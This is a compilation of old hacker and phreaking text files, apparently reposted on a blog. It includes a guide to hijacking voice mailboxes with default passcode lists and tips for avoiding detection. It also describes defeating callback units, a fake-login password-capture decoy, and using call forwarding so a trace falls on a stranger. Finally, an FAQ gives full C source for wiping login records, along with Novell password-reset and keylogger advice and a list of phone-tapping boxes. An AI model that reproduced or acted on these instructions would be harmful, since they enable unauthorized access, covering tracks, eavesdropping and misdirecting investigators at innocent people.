box number (bn) 3234 3234 Most Popular
bn backwards 2351 1532 Popular
bn+'0' 323 3230 Popular With Aspens

Some additional defaults in order of most to least common are:

4d 5d 6d
0000 00000 000000 *MOST POPULAR*
9999 99999 999999 *POPULAR*
1111 11111 111111 *POPULAR*
1234 12345 123456 *VERY POPULAR WITH OWNERS*
4321 54321 654321
6789 56789 456789
9876 98765 987654
2222 22222 222222
3333 33333 333333
4444 44444 444444
5555 55555 555555
6666 66666 666666
7777 77777 777777
8888 88888 888888
1991

It is important to try ALL of these before giving up on a system. If none of
these defaults work, try anything you think may be their passcode. Also
remember that just because the system can have a four digit passcode the vmb
owner does not have to have use all four digits. If you still cannot get
into the box, either the box owner has a good passcode or the system uses a
different default. In either case, move on to another box. If you seem to
be having no luck, then come back to this system later. There are so many
vmb systems you should not spend too much time on one hard system.

If there's one thing I hate, it's a text file that says 'Hack into the
system. Once you get in...' but unlike computer systems, vmb systems really
are easy to get into. If you didn't get in, don't give up! Try another
system and soon you will be in. I would say that 90% of all voice mail
systems have a default listed above. All you have to do is find a box with
one of the defaults.

ONCE YOU'RE IN

The first thing you should do is listen to the messages in the box, if there
are any. Take note of the dates the messages were left. If they are more
than four weeks old, then it is pretty safe to assume the owner is not using
his box. If there are any recent messages on it, you can assume he is
currently using his box. NEVER take a box in use. It will be deleted soon,
and will alert the system administrator that people are hacking the system.
This is the main reason vmb systems either go down, or tighten security. If
you take a box that is not being used, it's probable no one will notice for
quite a while.

SCANNING BOXES FROM THE INSIDE

>From the main menu, see if there is an option to either send a message to
another user or check receipt of a message. If there is you can search for
VIRGIN (unused) boxes) without being disconnected like you would from
outside of a box. Virgin boxes have a 'generic' greeting and name. Eg.
'Mailbox xxx' or 'Please leave your message for mailbox xxx...' Write down
any boxes you find with a generic greeting or name, because they will
probably have the default passcode. Another sign of a virgin box is a name
or greeting like 'This mailbox is for ...' or a women's voice saying a man's
name and vice versa, which is the system administrator's voice. If the box
does not have this feature, simply use the previous method of scanning boxes
from the outside. For an example of interior scanning, when inside an Aspen
box, chose (3) from the main menu to check for receipt. It will respond with
'Enter box number.' It is a good idea to start at a location you know there
are boxes present and scan consecutively, noting any boxes with a 'generic'
greeting. If you enter an invalid box it will alert you and allow you to
enter another. You can enter invalid box numbers forever, instead of the
usual three incorrect attempts from outside a box.

TAKING A BOX

Now you need to find a box you can take over. NEVER take a box in use; it
simply won't last. Deserted boxes (with messages from months ago) are the
best and last the longest. Take these first. New boxes have a chance of
lasting, but if the person for whom the box was created tries to login,
you'll probably lose it. If you find a box with the system administrator's
voice saying either the greeting or name (quite common), keeping it that way
will prolong the box life, especially the name.

This is the most important step in taking over a box! Once you pick a box take over, watch it for at least three days BEFORE changing anything! Once
you think it's not in use, then change only the passcode, nothing else!
Then login frequently for two to three days to monitor the box and make sure
no one is leaving messages in it. Once you are pretty sure it is deserted,
change your greeting to something like 'Sorry I'm not in right now, please
leave your name and number and I'll get back to you.' DO NOT say 'This is
Night Ranger dudes...' because if someone hears that it's good as gone. Keep
your generic greeting for one week. After that week, if there are no
messages from legitimate people, you can make your greeting say whatever you
want. The whole process of getting a good vmb (that will last) takes about
7-10 days, the more time you take the better chance you have of keeping it
for long time. If you take it over as soon as you get in, it'll probably
last you less than a week. If you follow these instructions, chances are it
will last for months. When you take some boxes, do not take too many at one
time. You may need some to scan from later. Plus listening to the messages
of the legitimate users can supply you with needed information, such as the
company's name, type of company, security measures, etc.

SYSTEM IDENTIFICATION

After you have become familiar with various systems, you will recognize them
by their characteristic female (or male) voice and will know what defaults
are most common and what tricks you can use. The following is a few of a few
popular vmb systems.

ASPEN is one of the best vmb systems with the most features. Many of them
will allow you to have two greetings (a regular and an extended absence
greeting), guest accounts, urgent or regular messages, and numerous other
features. Aspens are easy to recognize because the female voice is very
annoying and often identifies herself as Aspen. When you dial up an Aspen
system, sometimes you have to enter an (*) to get into the vmb system. Once
you're in you hit (#) to login. The system will respond with 'Mailbox number
please?' If you enter an invalid mailbox the first time it will say 'Mailbox
xxx is invalid...' and the second time it will say 'You dialed xxx, there is
no such number...' and after a third incorrect entry it will hang up. If
you enter a valid box, it will say the box owner's name and 'Please enter
your passcode.' The most common default for Aspens is either box number or
box number + (0). You only get three attempts to enter a correct box number
and then three attempts to enter a correct passcode until it will disconnect
you. From the main menu of an Aspen box you can enter (3) to scan for other
boxes so you won't be hung up like you would from outside the box.

CINDY is another popular system. The system will start by saying 'Good
Morning/Afternoon/Evening. Please enter the mailbox number you wish...' and
is easy to identify. After three invalid box entries the system will say
'Good Day/Evening!' and hang up. To login, enter the box number and during
the greet press (0) then your passcode. The default for ALL Cindy systems is
(0). From the main menu you can enter (6) to scan for other boxes so you
won't be hung up. Cindy voice mail systems also have a guest feature, like
Aspens. You can make a guest account for someone, and give them
password, and leave them messages. To access their guest account, they just
login as you would except they enter their guest passcode. Cindy systems
also have a feature where you can have it call a particular number and
deliver a recorded message. However, I have yet to get this feature to work
on any Cindy boxes that I have.

MESSAGE CENTER is also very popular, especially with direct dials. To login
on a Message Center, hit the (*) key during the greet and the system will
respond with 'Hello <name>. Please enter your passcode.' These vmbs are
very tricky with their passcode methods. The first trick is when you enter
an invalid passcode it will stop you one digit AFTER the maximum passcode
length. Eg. If you enter 1-2-3-4-5 and it gives you an error message you enter the fifth digit, that means the system uses a four digit passcode,
which is most common on Message Centers. The second trick is that if you enter
an invalid code the first time, no matter what you enter as the second passcode
it will give you an error message and ask again. Then if you entered the
correct passcode the second and third time it will let you login. Also, most
Message Centers do not have a default, instead the new boxes are 'open' and
when you hit (*) it will let you in. After hitting (*) the first time to
login a box you can hit (*) again and it will say 'Welcome to the Message
Center.' and from there you can dial other extensions. This last feature can
be useful for scanning outside a box. To find a new box, just keep entering
box numbers and hitting (*) to login. If it doesn't say something to the
effect of welcome to your new mailbox then just hit (*) again and it will
send you back to the main system so you can enter another box. This way you
will not be disconnected. Once you find a box, you can enter (6) 'M'ake a
message to scan for other boxes with generic names. After hitting (6) it
will ask for a mailbox number. You can keep entering mailbox numbers until
you find a generic one. Then you can cancel your message and go hack it out.

Q VOICE MAIL is a rather nice system but not as common. It identifies itself
'Welcome to Q Voice Mail Paging' so there is no question about what system it
is. The box numbers are usually five digits and to login you enter (0) like
a Cindy system. From the main menu you can enter (3) to scan other boxes.

There are many more systems I recognize but do not know the name for them.
You will become familiar with these systems too.

CONCLUSION

You can use someone else's vmb system to practice the methods outlined above,
but if you want a box that will last you need to scan out a virgin system.
If you did everything above and could not get a vmb, try again on another
system. If you follow everything correctly, I guarantee you will have more
vmbs than you know what to do with. When you start getting a lot of them, if
you are having trouble, or just want to say hi be sure to drop me a line on
either of my internet addresses, or leave me a voice mail message.

NOTE: Some information was purposely not included in this file to prevent
abuse to various systems.

Night Ranger
www.Arvindhackingtools.blogspot.com

1-800-666-2336 Box 602 (After Business Hours)
1-800-435-2008 Box 896 (After Business Hours)
_______________________________________________________________________________

HACKING TECHNIQUES

2011-09-14T07:32:00.000-07:00

****************************
*** HACKING TECHNIQUES ***
*** Typed By: LOGAN-5 ***
*** (Hacker Supreme) ***
*** From the ***
*** Inner Circle Book ***
****************************

1) CALLBACK UNITS:

Callback units are a good security device, But with most phone systems,
it is quite possible for the hacker to use the following steps to get
around a callback unit that uses the same phone line for both incomming
and out going calls:First, he calls he callback unit and enters any
authorized ID code (this is not hard to get,as you'll see in a moment).
After he enters this ID, the hacker holds the phone line open - he does
not hang up. When the callback unit picks up the phone to call the user back,
the hacker is there, waiting to meet it.

The ID code as I said, is simple for a hacker to obtain, because these
codes are not meant to be security precautions.The callback unit itself
provides security by keeping incomming calls from reaching the computer.
The ID codes are no more private than most telephone numbers. Some callback
units refer to the codes as "location identification numbers," and some
locations are used by several different people,so their IDs are fairly
well known.I've been told that, in some cases,callback ubits also have
certain simple codes that are always defined by default. Once the hacker
has entered an ID code and the callback unit has picked up the phone to
re-call him,the hacker may or may not decide to provide a dial tone to
allow the unit to "think" it is calling the correct number. In any event,
the hacker will then turn on his computer, connect with the system - and
away he goes.If the however, the hacker has trouble holding the line with
method,he has an option: the intercept.

The Intercept:
Holding the line will only work with callback units that use the same
phone lines to call in and to call out.Some callback units use different
incoming and outgoing lines, numbers 555-3820 through 555-3830 are dedicated
to users' incoming calls, and lines 555-2020 through 555-2030 are dedicated
to the computers outgoing calls.The only thing a hacker needs in order to
get through to these systems is a computer and a little time - he doesn't
even need an ID code. First,the hacker calls any one of the outgoing phone
lines, which, of course, will not answer.Sooner or later, though, while the
hacker has his computer waiting there, listening to the ring, an authorized
user will call one of the incomming lines and request to be called back.
It will usually be less than an hours wait, but the hacker's computer
is perfectly capable of waiting for days, if need be.

The callback unit will take the code of the authorized user, hang up,
verify the code, and pick up the phone line to call back.If the unit
tries to call out on the line the hacker has dialed, the hacker has his
computer play a tone that sounds just like a dial tone.The computer will
then dial the number given that matches up with the user's authorized ID.
After that,the hacker can just connect his computer as he would in any
other case.If he is really serious,he will even decode the touch tones
that the mainframe dialed,figure out the phone number of the user the
system was calling, call the person, and make a few strange noises that
sound as though the computer called back but didnt work for some reason.

2) TRAPDOORS AS A POSSIBLILITY

I haven't heard of this happening, but i think it is possible that a
callback modem could have a trapdoor built into it.Callback modems are
run by software, which is written by programmers.An unscrupulous programmer
could find it very easy to slip in an unpublicized routine, such as,
"if code =*43*, then show all valid codes and phone numbers." And such a
routine, of course, would leave security wide open to anyone who found the
trapdoor.The obvious protection here, assuming the situation ever arises,
is simply an ethical manufactorer that checks its software thoroughly before
releasing it.

A trapdoor is a set of special instructions embedded in the large
program that is the operating system of a computer.A permanent,
hopefully secret "doorway", these special instructions enabe anyone who
knows about them to bypass normal security procedures and to gain access to
the computer's files.Although they may sound sinister, trapdoors were not
invented by hackers, although existing ones are certainly used by hackers
who find out about them.

3) THE DECOY

One of the more sophisticated hacking tools is known as the decoy, and it
comes in three versions.The first version requires that the hacker have an
account on the system in question. As in my case,the hacker has a
low-security account,and he tries this method to get higher-security
account.He will first use his low-security account to write a program that
will emulate the log-on procedures of the systems in questions.
This program will do the following:

*- Clear the terminal screen and place text on it that makes everything
look as if the system is in charge.

*- Prompt for, and allow the user to enter, both an account name and a password.
*- Save that information in a place the hacker can access.

*- Tell the use the account/password entries are not acceptable.

*- turn control of the terminal back over to the system.

The user will now assume that the account name or password was mistyped
and will try again...this time (scince the real operating system is in
control) with more success.You can see a diagram of the way these steps are
accomplished

___________________
| Clear Terminal |
| screen |
|____________________|
||
_________||_________
| Print Compuserve |
| Computer |
|_____ Network ______|
||
_________||_________
| Print "ENTER |
| PASSWORD" |______
|____________________| |
|| |
_________||_________ |
| PASSWORD ENTERED? |__NO__|
|____________________|
||_YES
_________||_________
| SAVE PASSWORD |
| INFORMATION |
|____________________|
||
_________||_________
| PRINT "LOGIN |
| INCORRECT |
|____________________|
||
_________||_________
| LOG OFF/RETURN |
| CONTROL TO |
| OPERATING SYSTEM |
|____________________|

4) CALL FORWARDING

Many people use call forwarding by special arrangement with the phone
company.When a customer requests call forwarding, the phone company uses
its computer to forward all the customers incomeing calls to another
number. Lets say, for example, that you want calls that come to your office
phone to be forwarded to your home phone: A call from you to the phone
company,some special settings in the phone companys computer, and all
calls to your office will ring at your home instead.This little bit of help
from the phone company is another tool used by hackers. Lets say you thought
that the computer you were hacking into was being watched-because the
sysop might have seen you and called the fed's and your sort of bugged by
this nagging feeling that they will trace the next hacker that calls,
just call the phone company and ask for call forwarding, pick a number,
(ANY NUMBER) out of the phone book and have your calls forwarded to that
number,Hea,Hea, the number you picked is the one that will be traced to,
not yours, so you could be hacking away,they think that they have traced you,
but actually the number you had your calls forwarded too. they enter chat mode
and say (YOUR BUSTED!!!!, WE'VE TRACED YOUR PHONE NUMER THE FEDS ARE ON THE
WAY!!), You could reply (Hea, SURE YA DID! I'D LIKE TO SEE YA TRY AND GET ME!
GO AHEAD!) ,that wont seem very important to them at the time, but it will
sure piss them off when they bust the wrong guy!

5) RAPID FIRE

Memory-location manipulation can be helpful, but there is another, more
powerful,possibility, in some cases: the Rapid-fire method.To understand how
this methos works, you have to know something about the way operationg
systems work.When a user enters a command, the operating system first places
the command in a holding area, a buffer, where it will sit for a few
millionths of a second.The system looks at the command and say's "Does this
person really have authorization to do this, or not?" Then, the command
sits there a few thousandths of a second while the system runs off to
check the user's authorization.When the system comes back to the command,
it will have one of two possible answers: "OK, GO AHEAD," or "SORRY,
GET PERMISSION FIRST."

Once you are on a system that handles things this way, you can

2011-09-14T07:28:00.000-07:00

Psychotic's FAQ
by Virtual Circuit and Psychotic

I. HACKING
* What is hacking?
* How do I crack shadowed passwords?
* How can I tell the difference between an encrypted password and a shadowed password?
* Where can I find the password file if it's shadowed?
* Where is the password file located?
* What is an exploit?
* What are some basic telnet commands?
* How do I get out of the log file?
* What is a DNIC?
* What is an NUA?
* What is a VAX/VMS?
* What is telnet?
* What is an anonymous remailer?
* What is PGP?
* What is a tcp/ip?
* What is a virus?
* What is a trojan?
* What is a worm?
* What do I need to become a hacker?
* What are some common accounts for Novell Netware?
* How can I gain supervisor access to Novell Netware?
* How do I access the passwords for Novell?
* How do I crack a Novell Netware password?
* What are the domain codes?
II. PHREAKING
* What is phreaking?
* How do I start phreaking?
* What are boxes?
* What kind of boxes are there?
* How do I make a box?
* What is a loop?
III. Security
* How do I set up an anonymous FTP server?
* What are some ways that I can secure a network?
* What is a "rainbow book?"
* What is a sniffer?
* What is a firewall?
* How can I use PGP to benefit me?
IV. Group Questions
* What is Psychotic?
* Is Psychotic looking for new members?
* What is Psychosis?
* What is the "Devil's Gateway?"
* Where can I find some good resources on hacking and phreaking?
* Who are all the members in Psychotic?
* What are Psychotic's offered services?

Q. What is hacking?

A. Hacking is the art of breaking into computers to gain knowledge that our society has hidden from us. Hacking is illegal and the government spend lots of money each year to have hackers arrested.....when they should be spending the money on more important issues.

Q. What is a shadowed password?

A. A shadowed password is a cover for the real password file. It shows that the real password is hidden somewhere else.

Q. How do I crack shadowed passwords?

A. Cracking a shadowed password file is impossible. Assuming that you got the password file via anonymous ftp. You should try connecting to port 25 and doing the sendmail bug.

Q. What is the difference between an encrypted password and a shadowed password?

A. An encrypted password is just the real password scrambled and changed. It can be cracked with a password cracked and a word file. A shadowed password hides the encrypted password somewhere else other than the etc. dir.

Q. Where can I find the password file if it's shadowed?

A. Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

Q. Where is the password file located?

A. The password file is located in the etc/passwd dir. You can get into the etc dir by logging on to the domain via anonymous ftp.

Q. What is an exploit?

A. An exploit is something that exploits unix or another kind of OS. You usually use exploits to gain root or high access to a system. They can prove to be very handy.

Q. What are some basic telnet commands?

A. Below is a list of common telnet commands.

Command Function

access Telnet account
c Connect to a host
cont Continue
d Disconnect
full Network echo
half Terminal echo
hangup Hangs up
mail Mail
set Select PAD parameters
stat Show network port.
telemail Mail

Q. How do I get out of the log file?

A. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.
Example:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

Q. What is DNIC?

A. A DNIS says which network connect to the telnet you are using.

Q. What is NUA?

A. The NUA is the address of the computer on telnet.

Q. What is a VAX/VMS?

A. A vax/vms is Digital Equipment's major computer line. It's proprietary operating system is known as vms.

Q. What is telnet?

A. Telnet is a program which lets you log in to other computers on the net.

Q. What is an anonymous remailer?

A. An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer.

Q. What is PGP?

A. This FAQ answer is excerpted from:
PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with
people you've never met, with no secure channels needed for prior exchange of keys. PGP is well
featured and fast, with sophisticated key management, digital signatures, data compression, and
good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people toexchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

Q. What is tcp/ip?

A. Tcp/ip is the system networks use to communicate with each other. It stands for Transmission Control Protocol/Internet Protocol.

Q. What is a virus?

A. A Virus is a program which reproduces itself. It may attach itself to other programs, it may create copies of itself. It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some Viruse scanners detect some Viruses. No Virus scanners detect all Viruses. Virus scanners will work for a while but people are always creating virii that will beat them.

Q. What is a trojan?

A. A trojan is a program which does an unauthorized function, hidden inside an authorized program. It does something other than it claims to do, usually something malicious, and it is intended by the author to do whatever it does. If it is not intentional, it is called a bug.

Q. What is a worm?

A. Worms are programsthat copy themselves over and over using up space and slowing down the system. They are self contained and use the networks to spread, in much the same way that Viruses use files to spread. Some people say the solution to Viruses and worms is to just not have any files or networks.

Q. What do I need to become a hacker?

A. You should start off with a good scanner, some dialups, a telnet client, and some knowladge of hacking. Those are the basic things that you will need. If you are serious about hacking then you should get Unix, or Linux(smaller, free version of unix).

Q. What are some common accounts for Novell Netware?

A. Below is a list of commonly used accounts for Novell Netware.
Account Purpose
---------- ------------------------------------------------------
PRINT Attaching to a second server for printing
LASER Attaching to a second server for printing
HPLASER Attaching to a second server for printing
PRINTER Attaching to a second server for printing
LASERWRITER Attaching to a second server for printing
POST Attaching to a second server for email
MAIL Attaching to a second server for email
GATEWAY Attaching a gateway machine to the server
GATE Attaching a gateway machine to the server
ROUTER Attaching an email router to the server
BACKUP May have password/station restrictions (see below), used
for backing up the server to a tape unit attached to a
workstation. For complete backups, Supervisor equivalence
is required.
WANGTEK See BACKUP
FAX Attaching a dedicated fax modem unit to the network
FAXUSER Attaching a dedicated fax modem unit to the network
FAXWORKS Attaching a dedicated fax modem unit to the network
TEST A test user account for temp use
ARCHIVIST Palidrome default account for backup
CHEY_ARCHSVR An account for Arcserve to login to the server from
from the console for tape backup. Version 5.01g's
password was WONDERLAND. Delete the Station
Restrictions and use SUPER.EXE to toggle this
account and you have an excellent backdoor.
WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
need this for resource sharing without a password.

Q. How can I gain supervisor access to Novell Netware?

A. Taken from the Novell Netware FAQ.
The secret method is the method of using a DOS-based sector editor to edit the
entry in the FAT, and reset the bindery to default upon server reboot. This gives
you Supervisor and Guest with no passwords. The method was taught in case you
lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

Q. How do I access the password file for Novell?

A. access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS
database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden
and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows:

Netware version File Names
--------------- ----------
2.x NET$BIND.SYS, NET$BVAL.SYS
3.x NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
in 2.x and 3.x respectively.

Q. How do I crack a Novell password?

A. Taken from the Novell Netware Hack FAQ.

If Intruder Detection is off, you can use a "brute force" password cracker.

Encrypted passwords is Novell's way of protecting passwords from sniffers.
Since older versions of Netware (2.15c) sent passwords as plain text over the
wire, a sniffer could see the password as it went by. To secure things,
Novell gave the administrator a way to control this. Later versions of the
LOGIN.EXE program would encrypt the password before transmitting it across
the wire to the server. But before this could happen, the shell (NETX) had
to be updated. Since some locations had to have older shells and older
versions of LOGIN.EXE to support older equipment, the administrator has the
option of allowing unencrypted passwords to access the server. This is done
by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
the server console every attempt! Fortunately most sites turn this switch on to
support some old device.

If you have access to the console, either by standing in front of it or by
RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords.
Just load the NLM and pass it command line parameters:

NLM Account(s) reset Netware version(s) supported
------------ ----------------- ----------------------------
SETSPASS.NLM SUPERVISOR 3.x
SETSPWD.NLM SUPERVISOR 3.x, 4.x
SETPWD.NLM any valid account 3.x, 4.x

If you can plant a password catcher or keystroke reader, you can get them
this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
normally you will not have access to put a file in that directory. The best
place to put a keystroke capture program is in the workstation's path, with
the ATTRIB set as hidden. The advantage is that you'll get the password and
Netware won't know you swiped it. The disadvantage is getting access to the
machine to do this. The very best place to put one of these capture programs
is on a common machine, like a pcAnywhere box, which is used for remote access.
Many locations will allow pcAnywhere access to a machine with virtually no
software on it, and control security access to the LAN by using Netware's
security features. Uploading a keystroke capture program to a machine like
this defeats this.

Q. What are the domain codes?

A. Below is the current list of domain codes.
AD Andorra
AE United Arab Emirates
AF Afghanistan
AG Antigua and Barbuda
AI Anguilla
AL Albania
AM Armenia
AN Netherland Antilles
AO Angola
AQ Antarctica
AR Argentina
AS American Samoa
AT Austria
AU Australia
AW Aruba
AZ Azerbaidjan
BA Bosnia-Herzegovina
BB Barbados
BD Banglades
BE Belgium
BF Burkina Faso
BG Bulgaria
BH Bahrain
BI Burundi
BJ Benin
BM Bermuda
BN Brunei Darussalam
BO Bolivia
BR Brazil
BS Bahamas
BT Buthan
BV Bouvet Island
BW Botswana
BY Belarus
BZ Belize
CA Canada
CC Cocos (Keeling) Islands
CF Central African Republic
CG Congo
CH Switzerland
CI Ivory Coast
CK Cook Islands
CL Chile
CM Cameroon
CN China
CO Colombia
CR Costa Rica
CS Czechoslovakia
CU Cuba
CV Cape Verde
CX Christmas Island
CY Cyprus
CZ Czech Republic
DE Germany
DJ Djibouti
DK Denmark
DM Dominica
DO Dominican Republic
DZ Algeria
EC Ecuador
EE Estonia
EG Egypt
EH Western Sahara
ES Spain
ET Ethiopia
FI Finland
FJ Fiji
FK Falkland Islands (Malvinas)
FM Micronesia
FO Faroe Islands
FR France
FX France (European Territory)
GA Gabon
GB Great Britain (UK)
GD Grenada
GE Georgia
GH Ghana
GI Gibraltar
GL Greenland
GP Guadeloupe (French)
GQ Equatorial Guinea
GF Guyana (French)
GM Gambia
GN Guinea
GR Greece
GT Guatemala
GU Guam (US)
GW Guinea Bissau
GY Guyana
HK Hong Kong
HM Heard and McDonald Islands
HN Honduras
HR Croatia
HT Haiti
HU Hungary
ID Indonesia
IE Ireland
IL Israel
IN India
IO British Indian Ocean Territory
IQ Iraq
IR Iran
IS Iceland
IT Italy
JM Jamaica
JO Jordan
JP Japan
KE Kenya
KG Kirgistan
KH Cambodia
KI Kiribati
KM Comoros
KN Saint Kitts Nevis Anguilla
KP North Korea
KR South Korea
KW Kuwait
KY Cayman Islands
KZ Kazachstan
LA Laos
LB Lebanon
LC Saint Lucia
LI Liechtenstein
LK Sri Lanka
LR Liberia
LS Lesotho
LT Lithuania
LU Luxembourg
LV Latvia
LY Libya
MA Morocco
MC Monaco
MD Moldavia
MG Madagascar
MH Marshall Islands
ML Mali
MM Myanmar
MN Mongolia
MO Macau
MP Northern Mariana Islands
MQ Martinique (French)
MR Mauritania
MS Montserrat
MT Malta
MU Mauritius
MV Maldives
MW Malawi
MX Mexico
MY Malaysia
MZ Mozambique
NA Namibia
NC New Caledonia (French)
NE Niger
NF Norfolk Island
NG Nigeria
NI Nicaragua
NL Netherlands
NO Norway
NP Nepal
NR Nauru
NT Neutral Zone
NU Niue
NZ New Zealand
OM Oman
PA Panama
PE Peru
PF Polynesia (French)
PG Papua New
PH Philippines
PK Pakistan
PL Poland
PM Saint Pierre and Miquelon
PN Pitcairn
PT Portugal
PR Puerto Rico (US)
PW Palau
PY Paraguay
QA Qatar
RE Reunion (French)
RO Romania
RU Russian Federation
RW Rwanda
SA Saudi Arabia
SB Solomon Islands
SC Seychelles
SD Sudan
SE Sweden
SG Singapore
SH Saint Helena
SI Slovenia
SJ Svalbard and Jan Mayen Islands
SK Slovak Republic
SL Sierra Leone
SM San Marino
SN Senegal
SO Somalia
SR Suriname
ST Saint Tome and Principe
SU Soviet Union
SV El Salvador
SY Syria
SZ Swaziland
TC Turks and Caicos Islands
TD Chad
TF French Southern Territory
TG Togo
TH Thailand
TJ Tadjikistan
TK Tokelau
TM Turkmenistan
TN Tunisia
TO Tonga
TP East Timor
TR Turkey
TT Trinidad and Tobago
TV Tuvalu
TW Taiwan
TZ Tanzania
UA Ukraine
UG Uganda
UK United Kingdom
UM US Minor Outlying Islands
US United States
UY Uruguay
UZ Uzbekistan
VA Vatican City State
VC Saint Vincent and Grenadines
VE Venezuela
VG Virgin Islands (British)
VI Virgin Islands (US)
VN Vietnam
VU Vanuatu
WF Wallis and Futuna Islands
WS Samoa
YE Yemen
YU Yugoslavia
ZA South Africa
ZM Zambia
ZR Zaire
ZW Zimbabwe
ARPA Old style Arpanet
COM US Commercial
EDU US Educational
GOV US Government
INT International
MIL US Military
NATO Nato field
NET Network
ORG Non-Profit

Q. What is phreaking?

A. Phreaking is anything illegal that has to do with phones and phone lines.

Q. How do I start phreaking?

A. You should start by learning about boxes and reading up on different types of phreaking.

Q. What kind of boxes are there?

A.Below is a list of the most common boxes and what they do.

Acrylic Box - Steal Three-Way-Calling and Call Waiting.
Aero Box - Make free fone calls from Payfones.
Aqua Box - Drain voltage from a FBI Lock In Trace call.
Beige Box - Replicates a line mens hand-set.
Black Box - Allows the calling party not to get charged for the call they place.
Blast Box - Fone Microphone Amplifier.
Blotto Box - Shorts every fone out in the area.
Blue Box - Utilizing 2600Hz tones for free fone calls.
Brown Box - Creates a party line from 2 existing fone lines.
Bud Box - Used to tap into your neighbors fone line.
Busy Box - Used to kill the dial tone on someone's fone.
Chartreuse Box - Use the electricty from your phone for other things.
Cheese Box - Turns your fone into a Payfone.
Chrome Box - Lets you manipulate traffic signals via remote control.
Clear Box - Used to make free calls on Fortress Fones.
Copper Box - Causes cross-talk interference on an extender.
Crimson Box - Acts as a 'Hold' button for your fone.
Dark Box - REroutes outgoing or incomming calls to another fone.
Dayglo Box - Allows you to connect to your neighbors fone line.
Ditto Box - Allows you to evesdrop on another fone line.
Divertor Box - REroutes outgoing or incomming calls to another fone.
DLOC Box - Lets you confrence 2 fone lines (other than your own).
Gold Box - Allows you to trace a call or tell if its being traced.
Green Box - Lets you make the Coin Collect, Coin Return, and Ringback tones.
Jack Box - A touch-tone keypad.
Light Box - An AM Transmitter.
